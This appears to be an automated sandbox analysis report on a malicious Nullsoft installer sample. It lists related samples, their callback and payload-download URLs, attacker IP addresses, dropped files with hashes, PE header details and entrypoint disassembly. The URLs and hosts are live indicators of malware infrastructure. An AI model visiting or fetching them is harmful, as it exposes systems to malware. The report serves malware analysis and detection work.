	1092991(JB#082).exe	Get hash	malicious	Browse	www.francedeliverydhl.xyz/3edq/?JfEt9j6h=VGpD3cDxk+WQQnSbGEZ6RzsTI6tD4lieCm7QRd3bliZsykliVadFEeoi23HkozfQytXm&ojn0d=RzuliD
	DHL4198278Err-PDF.exe	Get hash	malicious	Browse	www.bakergirlsocialclub.com/ubqx/?VR-T5=lhf8xpGpMnD8mnA&XR-xe0lh=WnoIvCh7C4a+M1FCGYfg8Er+mfNEnZG31lLhOnu48mFBzd+Jpay6aKeImEu2q9SCEyoBWBEjrg==
	RFQ - 001.xlsx	Get hash	malicious	Browse	www.defenestration.world/p2io/?bdm=lrOqxb+UJCh0p+XgaZ1tkMjkgx31NOkXgmck/5zOeb61pSaxp+mpU6ffv/qKl6HzQ2hiJA==&CDH=oPR8Arf
	b02c0831_by_Libranalysis.exe	Get hash	malicious	Browse	www.defenestration.world/p2io/?Bv=lrOqxb+RJFhwpubsYZ1tkMjkgx31NOkXgmE0j6vPa760pj23uu3lC+ndsZq1iq/4SWJEQ9G3xQ==&M6AlS=yVFP-hwh
	2UPdDxaAmt.exe	Get hash	malicious	Browse	www.defenestration.world/p2io/?CN9=7nH8PLV&s0=lrOqxb+RJFhwpubsYZ1tkMjkgx31NOkXgmE0j6vPa760pj23uu3lC+ndsaGchqDAb18S
	invoice.exe	Get hash	malicious	Browse	www.francedeliverydhl.xyz/3edq/?URZh=VGpD3cDxk+WQQnSbGEZ6RzsTI6tD4lieCm7QRd3bliZsykliVadFEeoi20n0nSPosI+h&jL30vv=afhhplx
	e759c6e8_by_Libranalysis.exe	Get hash	malicious	Browse	www.defenestration.world/p2io/?RPx=lrOqxb+RJFhwpubsYZ1tkMjkgx31NOkXgmE0j6vPa760pj23uu3lC+ndsZmMuLT4FQVV&rVLp5Z=S0GhCH_
	92270fdd_by_Libranalysis.exe	Get hash	malicious	Browse	www.defenestration.world/p2io/?SR=lrOqxb+RJFhwpubsYZ1tkMjkgx31NOkXgmE0j6vPa760pj23uu3lC+ndsaG2+azAf30S&2d=9rj0CBJ
	1bb71f86_by_Libranalysis.exe	Get hash	malicious	Browse	www.mythree-informationupdates.com/njhr/?_89pb=/zO4UNfgdHCPEreRZ95iML5TdeDdCZBMXXzBOiwQzcrtbsVzRUIeP21tWMju+8f1ac1K&FPWl=Cd8tG
	Documento.xlsx	Get hash	malicious	Browse	indifoods.net/wp-includes/images/wlw/otedollars.exe
	0d69e4f6_by_Libranalysis.xls	Get hash	malicious	Browse	www.destek-taleplerimiz.com/ccr/?y4O4=cWavVGQKmIqDppXzWyVy8r7Kst7Id+XyOUJHTBkcFhMzlMGfnIsimvg2OkFJfjv7X60kTQ==&pHE=kv2pMLCxOn
	shipping document pdf.exe	Get hash	malicious	Browse	www.kcgertfarm.com/htl/?_6Ax4N=YJE87vjpATZ&QFQL4Z=Y7TDP+px4JC/SSqVeQPAJJ3lS8rxz+cXHWUOWGnTGVC5LdKUNGbP50uDVhtUgmD5Xmz46i5nLA==
	lBXZjiCuW0.exe	Get hash	malicious	Browse	www.mythree-informationupdates.com/njhr/?uZWx=/zO4UNfgdHCPEreRZ95iML5TdeDdCZBMXXzBOiwQzcrtbsVzRUIeP21tWMjEhMv1ee9K&9r6LE=FbYDOl6

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
netsecond.duckdns.org	draftdocumentsofladingdocumentsMay11052021Sca.exe	Get hash	malicious	Browse	193.183.217.73

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AMAZON-02US	RFQ-BCM 03122020.exe	Get hash	malicious	Browse	44.227.65.245
	Poczta Polska Informacje o transakcjach2021.exe	Get hash	malicious	Browse	52.8.83.187
	Enquiry_014821-23.exe	Get hash	malicious	Browse	52.58.78.16
	SKM_4050210326102400 jpg.exe	Get hash	malicious	Browse	52.58.78.16
	Lithium battery silkscreen of AQ04.exe	Get hash	malicious	Browse	76.76.21.21
	Agenda1.docx	Get hash	malicious	Browse	3.142.86.140
	Agenda1.docx	Get hash	malicious	Browse	3.142.86.140
	tj.jpg	Get hash	malicious	Browse	52.41.131.191
	tj.jpg	Get hash	malicious	Browse	52.222.158.83
	YoWeTN6Lg8.exe	Get hash	malicious	Browse	3.68.95.191
	INQUIRY for IFM 20207.xlsx	Get hash	malicious	Browse	13.114.206.192
	WGOc4eHYqX.exe	Get hash	malicious	Browse	3.34.12.41
	ekeson and sons.exe	Get hash	malicious	Browse	75.2.26.18
	IDWCH1.exe	Get hash	malicious	Browse	52.219.64.127
	TTObk2.dll	Get hash	malicious	Browse	34.209.29.159
	WP7IsjaUga.exe	Get hash	malicious	Browse	3.143.65.214
	PnvWsz61G6.exe	Get hash	malicious	Browse	52.14.32.15
	hG6FzLXtsf.xls	Get hash	malicious	Browse	18.136.132.202
	hG6FzLXtsf.xls	Get hash	malicious	Browse	18.136.132.202
	Proforma Invoice & Bank Swift Copy.exe	Get hash	malicious	Browse	13.59.53.244
TELIANETTeliaCarrierEU	YZ8OvkljWm.exe	Get hash	malicious	Browse	193.183.217.83
	SHIPPING_BILL_SCAN_INVNO_MAY-11-2021_KKWHHGDHGSGSGTEME998726.exe	Get hash	malicious	Browse	193.104.197.77
	PO-13916.jpeg.exe	Get hash	malicious	Browse	193.104.222.76
	draftdocumentsofladingdocumentsMay11052021Sca.exe	Get hash	malicious	Browse	193.183.217.73
	PaymentAdvice-copy.htm	Get hash	malicious	Browse	213.155.156.184
	Avis de Paiement (1).xlsx	Get hash	malicious	Browse	213.155.156.183
	okRrstWWbY.exe	Get hash	malicious	Browse	193.181.35.58
	p3m2rgfEWw.exe	Get hash	malicious	Browse	192.121.102.215
	VJyJRFzlxy.exe	Get hash	malicious	Browse	192.121.102.94
	kKi1s98we9.exe	Get hash	malicious	Browse	192.121.102.72
	https://performoverlyrefinedapplication.icu/CizCEYfXXsFZDea6dskVLfEdY6BHDc59rTngFTpi7WA?clck=d1b1d4dc-5066-446f-b596-331832cbbdd0&sid=l84343	Get hash	malicious	Browse	213.155.156.168
	http://perpetual.veteran.az/673616c6c792e64756e6e654070657270657475616c2e636f6d2e6175	Get hash	malicious	Browse	104.75.89.37
	https://sharelink.sn.am/lYPBgpwGauq	Get hash	malicious	Browse	80.239.201.33
	https://sharelink.sn.am/lYPBgpwGauq	Get hash	malicious	Browse	80.239.201.95
	https://nursing-theory.org/nursing-theorists/Isabel-Hampton-Robb.php	Get hash	malicious	Browse	213.155.156.180
	9NwJV5ylmm.exe	Get hash	malicious	Browse	193.181.35.196
	IoPfa6cOoR.exe	Get hash	malicious	Browse	193.181.35.204
	U3Y2RA3qE2.exe	Get hash	malicious	Browse	193.181.35.82
	6rbntANVME.exe	Get hash	malicious	Browse	193.181.35.82
	qpjx2E9SPd.exe	Get hash	malicious	Browse	193.181.35.237

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\nsmBB29.tmp\System.dll	RFQ-BCM 03122020.exe	Get hash	malicious	Browse
	7ujc2szSQX.exe	Get hash	malicious	Browse
	TT0900090000090.exe	Get hash	malicious	Browse
	Poczta Polska Informacje o transakcjach2021.exe	Get hash	malicious	Browse
	PO-006 dtd-15.06.2021.exe	Get hash	malicious	Browse
	SKM_4050210326102400 jpg.exe	Get hash	malicious	Browse
	IMGG087 76543.exe	Get hash	malicious	Browse
	yfr02XrveJ.exe	Get hash	malicious	Browse
	LCdraft6152021_pdf.exe	Get hash	malicious	Browse
	LCdraft6152021_pdf.exe	Get hash	malicious	Browse
	Consigment Details_pdf.exe	Get hash	malicious	Browse
	bigfish.exe	Get hash	malicious	Browse
	INQUIRY for IFM 20207.xlsx	Get hash	malicious	Browse
	gz7dLhKlSQ.exe	Get hash	malicious	Browse
	WGOc4eHYqX.exe	Get hash	malicious	Browse
	Purchase_Order.xlsx	Get hash	malicious	Browse
	ojmanoq.exe	Get hash	malicious	Browse
	linkfuq.exe	Get hash	malicious	Browse
	takwqaytr.exe	Get hash	malicious	Browse
	PO_403.xlsx	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\nst9B9A.tmp\System.dll	RFQ-BCM 03122020.exe	Get hash	malicious	Browse
	7ujc2szSQX.exe	Get hash	malicious	Browse
	TT0900090000090.exe	Get hash	malicious	Browse
	Poczta Polska Informacje o transakcjach2021.exe	Get hash	malicious	Browse
	PO-006 dtd-15.06.2021.exe	Get hash	malicious	Browse
	SKM_4050210326102400 jpg.exe	Get hash	malicious	Browse
	IMGG087 76543.exe	Get hash	malicious	Browse
	yfr02XrveJ.exe	Get hash	malicious	Browse
	LCdraft6152021_pdf.exe	Get hash	malicious	Browse
	LCdraft6152021_pdf.exe	Get hash	malicious	Browse
	Consigment Details_pdf.exe	Get hash	malicious	Browse
	bigfish.exe	Get hash	malicious	Browse
	INQUIRY for IFM 20207.xlsx	Get hash	malicious	Browse
	gz7dLhKlSQ.exe	Get hash	malicious	Browse
	WGOc4eHYqX.exe	Get hash	malicious	Browse
	Purchase_Order.xlsx	Get hash	malicious	Browse
	ojmanoq.exe	Get hash	malicious	Browse
	linkfuq.exe	Get hash	malicious	Browse
	takwqaytr.exe	Get hash	malicious	Browse
	PO_403.xlsx	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\kg0wilfv6c51ffl5 Download File
Process:	C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe
File Type:	data
Category:	dropped
Size (bytes):	164352
Entropy (8bit):	7.99888202272782
Encrypted:	true
SSDEEP:	3072:nuGFc5H2Avwflf88feBN9eovlP9T+8yzKAnmKWBysmcz+d6OObWJjhY7dLHm:qHNItf88WBtvd9r4nmKNeyPObWhqxm
MD5:	7A4AE896CD2EBACFFD6D78170B53FCAA
SHA1:	A445DBFA51502DCEF66EE058BAE9139B6EC93B8D
SHA-256:	98E678F95E223D306BD6DB6FA9D8CBEC4F109E02B00761A0A248E3281D68D10B
SHA-512:	2968A5A7AF0EBD95A0188BC8E538E9F0F88B74DCC0C6029FF461848AA1D6AC60F9377D0979CBDC92131F7419AE5F3878DA9DC1FEA6C51D41B2D37B7F38E40B3F
Malicious:	false
Reputation:	low
Preview:	...].bX..ys...a..e.w.AP..^.x9y.'...A....h.#.l.........7Q..E.nx....Ml.X.N..%.b...T...zq\|...s.D..e.+........./..IGk^D.:.1...y...;..O.._8>..{......?......>../..O.zR..`..Aqp.B+.....E<l...<.v.L..TH.I..q...z~{v.7..t#...HM-...@.b..........ISZ...6... b3@.!f.I...8..6`..^..K.F.....?...U....i.G.t .f.....!.[..........+..mrrlk.W."H.....T..`d...nn..Hj......X0._...p.qCX'h...C~../8p^dj>.U...+..)yH.&.....+....8H.... ..Kg..-X.L..rg..Ip...$O.........%.P.............H..-...R.m..>.......X~yt..'.....yK...\|...=7..#n.~WA@.4... ......9..0....@..M....+...>...g..FnE.N...~.J..p....(.(........a L.....D..meO.....5E.)......HG..VH.{}...c.c..9w......8...i..\|.....MS8.d>.uv.x.9y..._.G0...(...IKTY5.d1u.....iD7(^.P.!.++..?.......avc.\|1.......%.D...[f..\|....-.;".!".b.^...Q+.,H.q[A.O_z..>'....O..r.fQv.Hx.i..>....z.3@0.&.A`Z..(..d.L..{.kW....R.e..{%..n...o\.-F....b..v...g}+..t6...;=...`...:p.....B..M........X.R..cIJ.v.EK...*.e.&..r...8.._.(..K.......:.P.......'.P.#<..}.

C:\Users\user\AppData\Local\Temp\nhde Download File
Process:	C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe
File Type:	data
Category:	dropped
Size (bytes):	59441
Entropy (8bit):	4.972654246459409
Encrypted:	false
SSDEEP:	768:QWeteWZ6yuLDwhWeHhYFIaxTtGU5/nxWEFdGv6ypEK+U5/YpNfVXw6M+oLLmuNyF:UfWLDwsceGEFd2Zl/cfjovQFJTpkAB
MD5:	F88C142D13998842037A6149E08A7AF3
SHA1:	DEB11C8456734B9D77CA451764145BCAE2C8A3D5
SHA-256:	0321365F007604FAC07BC584931929CDFA7C2DE6C2DE31DE24CE36168DDD24F8
SHA-512:	643742D7C2FE77F0C6D2424C3947391DD1E1D03CADAE388A43FB3CCD5F2BB63B13C476311F3510C7BA57812C33715465EAFCE5CD37E242B48D508B1F3DBD23EE
Malicious:	false
Reputation:	low
Preview:	U..P!..........................................................._.....x.....2.......................................z.....1.......................W.................q...........~.........................................J.................f.................~...................................f.....t.............................f.......................f.................~.......................~.....-...........q...........F...............................................9.....9.....9.................r.................F...................................r.....t.............................r.......................r.................F.......................F.....-...........q....... ...n.!...>.".....#.....$.....%.....&.....'...R.(...9.)...9....9.+.....,.....-...z......./.....0...n.1.....2.....3.....4.....5.....6...z.7...t.8.....9.....:.....;.....<...z

C:\Users\user\AppData\Local\Temp\nsmBB29.tmp\System.dll Download File
Process:	C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.855045165595541
Encrypted:	false
SSDEEP:	192:xPtkiQJr7V9r3HcU17S8g1w5xzWxy6j2V7i77blbTc4v:g7VpNo8gmOyRsVc4
MD5:	FCCFF8CB7A1067E23FD2E2B63971A8E1
SHA1:	30E2A9E137C1223A78A0F7B0BF96A1C361976D91
SHA-256:	6FCEA34C8666B06368379C6C402B5321202C11B00889401C743FB96C516C679E
SHA-512:	F4335E84E6F8D70E462A22F1C93D2998673A7616C868177CAC3E8784A3BE1D7D0BB96F2583FA0ED82F4F2B6B8F5D9B33521C279A42E055D80A94B4F3F1791E0C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: RFQ-BCM 03122020.exe, Detection: malicious, Browse Filename: 7ujc2szSQX.exe, Detection: malicious, Browse Filename: TT0900090000090.exe, Detection: malicious, Browse Filename: Poczta Polska Informacje o transakcjach2021.exe, Detection: malicious, Browse Filename: PO-006 dtd-15.06.2021.exe, Detection: malicious, Browse Filename: SKM_4050210326102400 jpg.exe, Detection: malicious, Browse Filename: IMGG087 76543.exe, Detection: malicious, Browse Filename: yfr02XrveJ.exe, Detection: malicious, Browse Filename: LCdraft6152021_pdf.exe, Detection: malicious, Browse Filename: LCdraft6152021_pdf.exe, Detection: malicious, Browse Filename: Consigment Details_pdf.exe, Detection: malicious, Browse Filename: bigfish.exe, Detection: malicious, Browse Filename: INQUIRY for IFM 20207.xlsx, Detection: malicious, Browse Filename: gz7dLhKlSQ.exe, Detection: malicious, Browse Filename: WGOc4eHYqX.exe, Detection: malicious, Browse Filename: Purchase_Order.xlsx, Detection: malicious, Browse Filename: ojmanoq.exe, Detection: malicious, Browse Filename: linkfuq.exe, Detection: malicious, Browse Filename: takwqaytr.exe, Detection: malicious, Browse Filename: PO_403.xlsx, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ir.-.D.-.D.-.D...J..D.-.E.>.D......D.y0t.).D.N1n.,.D..3@.,.D.Rich-.D.........PE..L.....$_...........!..... ..........!).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...h....@.......(..............@....reloc..\|....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nst9B9A.tmp\System.dll Download File
Process:	C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.855045165595541
Encrypted:	false
SSDEEP:	192:xPtkiQJr7V9r3HcU17S8g1w5xzWxy6j2V7i77blbTc4v:g7VpNo8gmOyRsVc4
MD5:	FCCFF8CB7A1067E23FD2E2B63971A8E1
SHA1:	30E2A9E137C1223A78A0F7B0BF96A1C361976D91
SHA-256:	6FCEA34C8666B06368379C6C402B5321202C11B00889401C743FB96C516C679E
SHA-512:	F4335E84E6F8D70E462A22F1C93D2998673A7616C868177CAC3E8784A3BE1D7D0BB96F2583FA0ED82F4F2B6B8F5D9B33521C279A42E055D80A94B4F3F1791E0C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: RFQ-BCM 03122020.exe, Detection: malicious, Browse Filename: 7ujc2szSQX.exe, Detection: malicious, Browse Filename: TT0900090000090.exe, Detection: malicious, Browse Filename: Poczta Polska Informacje o transakcjach2021.exe, Detection: malicious, Browse Filename: PO-006 dtd-15.06.2021.exe, Detection: malicious, Browse Filename: SKM_4050210326102400 jpg.exe, Detection: malicious, Browse Filename: IMGG087 76543.exe, Detection: malicious, Browse Filename: yfr02XrveJ.exe, Detection: malicious, Browse Filename: LCdraft6152021_pdf.exe, Detection: malicious, Browse Filename: LCdraft6152021_pdf.exe, Detection: malicious, Browse Filename: Consigment Details_pdf.exe, Detection: malicious, Browse Filename: bigfish.exe, Detection: malicious, Browse Filename: INQUIRY for IFM 20207.xlsx, Detection: malicious, Browse Filename: gz7dLhKlSQ.exe, Detection: malicious, Browse Filename: WGOc4eHYqX.exe, Detection: malicious, Browse Filename: Purchase_Order.xlsx, Detection: malicious, Browse Filename: ojmanoq.exe, Detection: malicious, Browse Filename: linkfuq.exe, Detection: malicious, Browse Filename: takwqaytr.exe, Detection: malicious, Browse Filename: PO_403.xlsx, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ir.-.D.-.D.-.D...J..D.-.E.>.D......D.y0t.).D.N1n.,.D..3@.,.D.Rich-.D.........PE..L.....$_...........!..... ..........!).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...h....@.......(..............@....reloc..\|....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp\System.dll Download File
Process:	C:\Users\user\Desktop\US1pwXib6h.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.855045165595541
Encrypted:	false
SSDEEP:	192:xPtkiQJr7V9r3HcU17S8g1w5xzWxy6j2V7i77blbTc4v:g7VpNo8gmOyRsVc4
MD5:	FCCFF8CB7A1067E23FD2E2B63971A8E1
SHA1:	30E2A9E137C1223A78A0F7B0BF96A1C361976D91
SHA-256:	6FCEA34C8666B06368379C6C402B5321202C11B00889401C743FB96C516C679E
SHA-512:	F4335E84E6F8D70E462A22F1C93D2998673A7616C868177CAC3E8784A3BE1D7D0BB96F2583FA0ED82F4F2B6B8F5D9B33521C279A42E055D80A94B4F3F1791E0C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ir.-.D.-.D.-.D...J..D.-.E.>.D......D.y0t.).D.N1n.,.D..3@.,.D.Rich-.D.........PE..L.....$_...........!..... ..........!).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...h....@.......(..............@....reloc..\|....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe Download File
Process:	C:\Users\user\Desktop\US1pwXib6h.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	218807
Entropy (8bit):	7.899471179052997
Encrypted:	false
SSDEEP:	6144:cQqTMHNItf88WBtvd9r4nmKNeyPObWhqxD4cft:yMHCtf88WBtvd9c5NJhAJ
MD5:	91514B3627E78E42CB05BC608737A47F
SHA1:	B48882A3D656068E30B88671AEE71010E5602D32
SHA-256:	E0E0CA8EC324752ED823C7E503992398E817663828F94B4CA699FF1965095C31
SHA-512:	B50BE6BED7809B76697B4E9849453A12ADE782AFD43F63AE1C8207EE11E26F95E374293CDC4523F5A5B00030D564E67C04EFC0F80C5B2571EE37D19ECB08FC7E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 27%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i..iw..iu..i...i..id..i!..i...i...it..iRichu..i........................PE..L......K.................Z...........0.......p....@..........................................................................s..........h............................................................................p...............................text....X.......Z.................. ..`.rdata.......p.......^..............@..@.data...x............p..............@....ndata.......@...........................rsrc...h............t..............@..@................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.899471179052997
TrID:	Win32 Executable (generic) a (10002005/4) 92.16% NSIS - Nullsoft Scriptable Install System (846627/2) 7.80% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	US1pwXib6h.exe
File size:	218807
MD5:	91514b3627e78e42cb05bc608737a47f
SHA1:	b48882a3d656068e30b88671aee71010e5602d32
SHA256:	e0e0ca8ec324752ed823c7e503992398e817663828f94b4ca699ff1965095c31
SHA512:	b50be6bed7809b76697b4e9849453a12ade782afd43f63ae1c8207ee11e26f95e374293cdc4523f5a5b00030d564e67c04efc0f80c5b2571ee37d19ecb08fc7e
SSDEEP:	6144:cQqTMHNItf88WBtvd9r4nmKNeyPObWhqxD4cft:yMHCtf88WBtvd9c5NJhAJ
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................Z.........

File Icon


Icon Hash:	b2a88c96b2ca6a72

Static PE Info

General
Entrypoint:	0x4030cb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4B1AE3C1 [Sat Dec 5 22:50:41 2009 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7fa974366048f9c551ef45714595665e

Entrypoint Preview

Instruction
sub esp, 00000180h
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409160h
xor esi, esi
mov byte ptr [esp+14h], 00000020h
call dword ptr [00407030h]
push 00008001h
call dword ptr [004070B0h]
push ebx
call dword ptr [0040727Ch]
push 00000008h
mov dword ptr [00423F38h], eax
call 00007F67F89CA776h
mov dword ptr [00423E84h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 00000160h
push eax
push ebx
push 0041F430h
call dword ptr [00407158h]
push 00409154h
push 00423680h
call 00007F67F89CA429h
call dword ptr [004070ACh]
mov edi, 00429000h
push eax
push edi
call 00007F67F89CA417h
push ebx
call dword ptr [0040710Ch]
cmp byte ptr [00429000h], 00000022h
mov dword ptr [00423E80h], eax
mov eax, edi
jne 00007F67F89C7B8Ch
mov byte ptr [esp+14h], 00000022h
mov eax, 00429001h
push dword ptr [esp+14h]
push eax
call 00007F67F89C9F0Ah
push eax
call dword ptr [0040721Ch]
mov dword ptr [esp+1Ch], eax
jmp 00007F67F89C7BE5h
cmp cl, 00000020h
jne 00007F67F89C7B88h
inc eax
cmp byte ptr [eax], 00000020h
je 00007F67F89C7B7Ch
cmp byte ptr [eax], 00000022h
mov byte ptr [eax+eax+00h], 00000000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x73a4	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2c000	0xc68	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x28c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x58d2	0x5a00	False	0.665234375	data	6.43310034828	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1190	0x1200	False	0.4453125	data	5.17976375781	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1af78	0x400	False	0.55078125	data	4.6178023207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.ndata	0x24000	0x8000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x2c000	0xc68	0xe00	False	0.407087053571	data	3.98321239368	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x2c1d8	0x2e8	data	English	United States
RT_DIALOG	0x2c4c0	0x100	data	English	United States
RT_DIALOG	0x2c5c0	0x11c	data	English	United States
RT_DIALOG	0x2c6e0	0x60	data	English	United States
RT_GROUP_ICON	0x2c740	0x14	data	English	United States
RT_VERSION	0x2c758	0x23c	data
RT_MANIFEST	0x2c998	0x2cc	XML 1.0 document, ASCII text, with very long lines, with no line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathA, GetShortPathNameA, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, GetLastError, CreateDirectoryA, SetFileAttributesA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, ExitProcess, GetWindowsDirectoryA, SetFileTime, GetCommandLineA, SetErrorMode, LoadLibraryA, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, lstrlenA, lstrcatA, GetSystemDirectoryA, GetVersion, CloseHandle, lstrcmpiA, lstrcmpA, ExpandEnvironmentStringsA, GlobalFree, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GetModuleHandleA, LoadLibraryExA, GetProcAddress, FreeLibrary, MultiByteToWideChar, WritePrivateProfileStringA, GetPrivateProfileStringA, WriteFile, ReadFile, MulDiv, SetFilePointer, FindClose, FindNextFileA, FindFirstFileA, DeleteFileA, GetTempPathA
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, EnableMenuItem, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, RegisterClassA, TrackPopupMenu, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, DestroyWindow, CreateDialogParamA, SetTimer, SetWindowTextA, PostQuitMessage, SetForegroundWindow, wsprintfA, SendMessageTimeoutA, FindWindowExA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, OpenClipboard, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongA, LoadImageA, GetDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndPaint, ShowWindow
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectA, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA, SHGetSpecialFolderLocation
ADVAPI32.dll	RegQueryValueExA, RegSetValueExA, RegEnumKeyA, RegEnumValueA, RegOpenKeyExA, RegDeleteKeyA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeA, GetFileVersionInfoA, VerQueryValueA

Version Infos

Description	Data
